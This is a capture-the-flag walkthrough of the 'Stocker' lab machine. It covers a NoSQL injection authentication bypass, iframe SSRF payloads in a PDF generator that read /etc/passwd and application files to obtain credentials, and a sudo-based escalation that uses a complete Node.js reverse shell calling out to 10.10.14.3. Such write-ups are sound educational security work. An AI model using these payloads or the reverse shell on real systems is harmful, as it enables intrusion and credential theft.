Stocker is a Linux machine running a web server that hosts an e-commerce site with a vulnerable API. This API can be exploited using a NoSQL injection, which bypasses authentication and grants access to an endpoint for placing orders. After an order is placed, a PDF is generated that contains a summary of the order. Analysis of the PDF reveals that it's built with Skia, which is vulnerable to SSRF (Server Side Request Forgery). This SSRF vulnerability can be used to send a request that reads arbitrary files on the server, revealing user credentials that can be used to login over SSH. Privileges can be escalated by exploiting sudo permissions that allow the current user to execute NodeJS scripts, resulting in a root shell.
nmap
scan:
Open ports:
- 22 (SSH)
- 80 (HTTP)
The server attempted a redirect to http://stocker.htb
so I added it to /etc/hosts
.
Webpage at http://stocker.htb
:
The landing page for the e-commerce website didn't provide much to go off of yet, so I enumerated the domain with gobuster
.
The results showed a login page at the subdomain of dev.stocker.htb
, so I added dev.stocker.htb
to /etc/hosts
and visited /login
.
I intercepted the request with Burp Suite and sent it to repeater to view the response with the username and password of admin
.
These credentials didn't work, but the response showed that the application was built with Express, a framework for NodeJS. One of the most common databases used by apps built NodeJS is MongoDB which is a NoSQL database. Assuming that this site was using MongoDB, then authentication could potentially be bypassed using a NoSQL injection formatted as JSON.
More about NoSQL injection on HackTricks
I changed the Content-Type
to be application/json
, and sent the following JSON request:
{
"username" : {
"$ne": "admin"
},
"password": {
"$ne": "admin"
}
}
In the JSON code above, the "$ne"
operator is used by the server to check if any records match the query. In this case, the query will match any records where the "username"
and "password"
fields do not equal "admin"
which will bypass any authentication checks.
After sending the request, the response redirected to /stock
:
Bypassing authentication granted access to the dev.stocker.htb/stock
page which can be used to place orders on the e-commerce platform:
So I placed an order which then generated a PDF with the order summary:
I downloaded the PDF to analyze it using exiftool
The output showed that the PDF was built with Skia which is a 2D graphics library used for a variety of applications. One of the first results after searching "skia pdf exploit" on google was this article which explains how the Skia PDF generator can be exploited to run an SSRF attack.
More about SSRF on PortSwigger
I sent the following payload which injects an iframe as the value of the title
key in the JSON object to get arbitrary file read.
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8d",
"title": "<iframe src=file:/etc/passwd </iframe>",
"description": "It's a red cup.",
"image": "red-cup.jpg",
"price": 32,
"currentStock": 4,
"__v": 0,
"amount": 1
}
]
}
The request returned a successful (200) response and provided an order ID:
I viewed the PDF by visiting the following URL with the corresponding order number.
http://dev.stocker.htb/api/po/<ORDER_NUMBER_HERE>
This confirmed that the payload worked and an iframe with the /etc/passwd
file was injected onto the page, although it was too small to read the entire file. But iframes can take a width
and height
attribute, so I sent the payload again with the iframe as follows:
"<iframe src=file:/etc/passwd width=1000 height=1000</iframe>"
When I viewed the new PDF, the iframe was now large enough to view the entire /etc/passwd
file which revealed a username: angoose
Knowing that this server was running nginx (as shown in the nmap results and Burp Suite responses), I sent a request with the following iframe:
"<iframe src=file:/etc/nginx/nginx.conf width=1000 height=1050</iframe>"
/etc/nginx/nginx.conf
is a common path to find the configuration info on an nginx server.
The PDF of the response revealed that the root directory of dev.stocker.htb
was /var/www/dev
Since NodeJS was running on the server (as shown in the Burp Suite responses that mentioned Express), I tried sending the payload with some of the common file names for NodeJS applications: app.js
, server.js
, index.js
Of the attempted file names, index.js
worked:
"<iframe src=file:/var/www/dev/index.js width=1000 height=1050</iframe>"
index.js
was a script that contained a passphrase. I tried using it to login as angoose
over SSH and it worked:
After successfully logging in, this is where the user flag can be found.
I checked sudo privileges for the current user:
angoose
could run the node
command with any file that matches the pattern /usr/local/scripts/*.js
meaning that /usr/bin/node
could be used to run a JavaScript file with any name. So, I leveraged this to get a reverse shell.
First, I started a listener with nc
Next, I got a node reverse shell script from revshells and saved it in a file called revshell.js
on the target machine.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(5555, "10.10.14.3", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
Ran the script:
Obtained a root shell at nc
. The root flag can be found in /root